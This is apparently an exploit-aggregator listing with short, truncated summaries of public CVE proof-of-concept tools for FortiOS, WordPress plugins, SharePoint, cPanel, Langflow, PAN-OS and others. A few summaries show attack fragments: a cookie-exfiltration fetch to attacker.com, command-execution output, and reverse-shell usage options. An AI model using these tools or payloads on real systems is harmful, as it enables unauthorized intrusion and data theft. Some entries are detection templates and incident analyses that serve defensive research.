cve-2024-21762-poc

cve-2024-21762-poc CVE-2024-21762 是 Fortinet 公司的 FortiOS 和 FortiProxy 产品中的一个严重漏洞，存在于其 SSL VPN 组件中。该漏洞允许未经身份验证的远程攻击者通过特制的 HTTP 请求在目标系统上执行任意代码或命令，可能导致系统被完全控制。 危害： 由于该漏洞的存在，攻击者可以在不需要任何身份验证的情况下，远程执行任意代码，进而完全控制受影响的设备。这可能导致敏感数据泄露、服务中断，甚至进一步的网络攻击。 攻击方法： 攻击者利用该漏洞的主要手段是发送特制的 HTTP 请求，触发 SSL VPN...

CVE-2024-25600-WordPress-Bricks-Builder-RCE-PoC

CVE-2024-25600 — WordPress Bricks Builder RCE PoC Unauthenticated remote code execution vulnerability in WordPress Bricks Builder id uid=33www-data gid=33www-data groups=33www-data...

copyfail-rs

copyfail-rs CVE-2026-31431 Copy Fail 的 Rust 实现 — 通过 AFALG splice 实现的 Linux 内核页面缓存任意写入原语。 English README CVE-2026-31431 Linux 内核的 algifaead 实现允许非特权用户通过 splice 系统调用将任意数据写入任何可读文件的页面缓存。authencesn AEAD 算法将 seqnolo（用户控制的 AAD 字节 4-7）写入目标 scatterlist 的 assoclen + cryptlen 偏移处——当目标通过 splice...

CVE-2026-32201-exploit

Overview Python exploit for CVE-2026-32201 - improper input validation в Microsoft SharePoint Server, allowing unauthenticated network spoofing C:L/I:L. Affected: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint...

CVE-2026-32475-PoC

CVE-2026-32475 — Elementor Pro 認証なし任意ファイルアップロード → RCE CVE-2026-32475 （CVSS 9.0）の概念実証コード：Elementor Pro WordPress プラグイン（≤ 4.2.1）における認証なし任意ファイルアップロードの脆弱性で、リモートコード実行（RCE）に至ります。...

cpsniper

cPanelSniper CVE-2026-41940 — セッションファイルCRLFインジェクションによるcPanel & WHM認証バイパス 4段階エクスプロイトチェーン · 対話型WHMシェル · 1000万以上のターゲットでTRUE STABLE · メモリ使用量ゼロ · stdlibのみ 概要 cPanelSniper は、cPanel & WHM に影響を与える重大な認証バイパス脆弱性である CVE-2026-41940 に特化したエクスプロイトフレームワークです。この脆弱性により、認証されていないリモート攻撃者が、有効な認証情報なしで Authorization...

CVE-2026-35616

CVE-2026-35616 — FortiClient EMS Pre-Auth Bypass Proof of Concept PoC for FortiClient Endpoint Management Server authentication bypass CVE-2026-35616 This script exploits an authentication bypass vulnerability in FortiClient EMS that allows unauthenticated access to protected API endpoints...

CVE-2026-3844

CVE-2026-3844 Breeze Cache ≤ 2.4.4 - 未认证的任意文件上传 ⚠️ 免责声明 root@kitploit: 本工具仅供教育和安全研究目的使用。 未经授权访问计算机系统是违法的。请仅在您拥有或获得明确测试许可的系统上使用本工具。 作者对本软件的任何滥用或造成的损害不承担任何责任。 📋 描述 CVE-2026-3844 是 WordPress 的 Breeze Cache 插件（版本 ≤ 2.4.4）中的一个严重未认证任意文件上传漏洞。该插件未能正确验证评论中的 srcset 参数，允许远程攻击者向服务器上传恶意文件（包括 WebShell）。 🔴 严重性...

CVE-2024-34102

CVE-2024-34102 - CosmicSting XXE Exploit Exploit for CVE-2024-34102 CosmicSting - XML External Entity XXE vulnerability in Adobe Commerce and Magento. 📋 About the Vulnerability CVE-2024-34102 is a critical XXE XML External Entity vulnerability affecting: Adobe Commerce versions 2.4.7, 2.4.6-p5,...

CVE-2026-44024_exploit

CVE-2026-44024 — Fluentd outfile $tag パストラバーサルによる任意ファイル書き込み Fluentd の outfile プラグインにおける、$tag プレースホルダーを介した認証不要の任意ファイル書き込み。 outfile を使うと、オペレータは $tag プレースホルダーで出力パスをテンプレート化できます（例: path /var/log/fluent/$tag）。Outputextractplaceholders（lib/fluent/plugin/output.rb）は、イベントのタグをパスに置換しますが、../...

POC_CVE-2024-12537

CVE-2024-12537 Open WebUI Code Format DoS Lab This repository contains a local, isolated reproduction lab and nuclei template candidate for CVE-2024-12537, an unauthenticated denial-of-service vulnerability in Open WebUI's code formatting endpoint. The lab does not send large denial-of-service...

CVE-2023-27372-SPIP-4.2.1-Unauthenticated-RCE-PoC

CVE-2023-27372 — SPIP Unauthenticated remote code execution vulnerability in SPIP before 4.2.1. The oubli parameter in the password reset form is vulnerable to PHP object injection due to mishandled deserialization. A crafted serialized payload is executed server-side as the web user, and the...

CVE-2018-16763-Fuel-CMS-1.4.1-Remote-Code-Execution-PoC

CVE-2018-16763 — Fuel CMS 1.4.1 Remote Code Execution PoC Unauthenticated RCE vulnerability in Fuel CMS 1.4.1. The filter parameter in the /fuel/pages/select/ endpoint is passed unsanitized to a eval call in the PHP backend, allowing arbitrary code execution via a crafted payload. Unlike blind...

CVE-2025-58434-Unauthenticated-Password-Reset-Flowwise

Flowise Password Reset Account Takeover ATO For research and testing purposes only! I am not responsible for any damages to live infrastructure if this tool is not used as intended. Only use on systems you own or have permission to be testing! Usage root@kitploit: usage:...

CVE-2025-56399

CVE-2025-56399 大量エクスプロイト CVE-2025-56399 – laravel-file-manager v3.3.1 におけるリモートコード実行。Laravel File Manager の設定ミスを悪用し、認証不要のファイルアップロードを介して PHP シェルをアップロード・検証します。 インストール リポジトリをダウンロード root@kitploit: git clone https://github.com/im-hanzou/CVE-2025-56399 リポジトリフォルダに移動 root@kitploit: cd CVE-2025-56399...

CVE-2025-55182

CVE-2025-55182 — React2Shell: Advanced Exploit & Master's Thesis Research -brightred Deserialization of Untrusted Data + Prototype Pollution in React Server Components Unauthenticated Remote Code Execution via Next.js Server Actions Affected: React 19.0.0 - 19.2.0 · Patch: React 19.0.1 / 19.1.2 /...

PoC-CVE-2026-33017

PoC: CVE-2026-33017 Langflow = 1.8.1 は、リモート・未認証の RCE に対して脆弱です https://nvd.nist.gov/vuln/detail/CVE-2026-33017 使用方法 root@kitploit: usage: CVE-2026-33017.py -h --lhost LHOST --lport LPORT target PoC exploit: CVE-2026-33017 positional arguments: target Target hostname options: -h, --help show this...

CVE-2026-0300-POC

🛡️ CVE-2026-0300: PAN-OS User-ID™ ポータル RCE 分析 研究用 Proof-of-Concept: CWE-787 領域外書き込み 📌 概要 CVE-2026-0300 は、Palo Alto Networks PAN-OS の User-ID™ 認証ポータル（キャプティブポータル）で特定された、深刻度の高いバッファオーバーフローの脆弱性です。この研究用リポジトリは、この脆弱性の技術的ロジックを実証するものであり、特に認証されていないネットワークパケットがどのようにして root 権限でのリモートコード実行（RCE）につながるかに焦点を当てています。 📊...

SharePoint-ToolShell-CVE-2025-53770-Incident-Analysis

SharePoint ToolShell CVE-2025-53770 Incident Analysis Overview This project documents the investigation of a real-world exploitation attempt targeting a SharePoint server using the ToolShell vulnerability CVE-2025-53770. The attack demonstrates a full exploitation chain including remote code...

CVE-2026-1107

CVE-2026-1107 Nuclei テンプレート EyouCMS における CVE-2026-1107 を検出するための Nuclei テンプレートです。 この脆弱性により、認証されていない攻撃者が Diyajax.php の checkuserinfo 関数を介してパストラバーサル/任意ファイル読み取りを実行できます。 脆弱性の詳細 CVE ID: CVE-2026-1107 対象: EyouCMS 1.7.1 コンポーネント: メンバーアバターハンドラー Diyajax.php 影響: 重大 任意ファイル読み取り / RCE の可能性 ベクター: POST...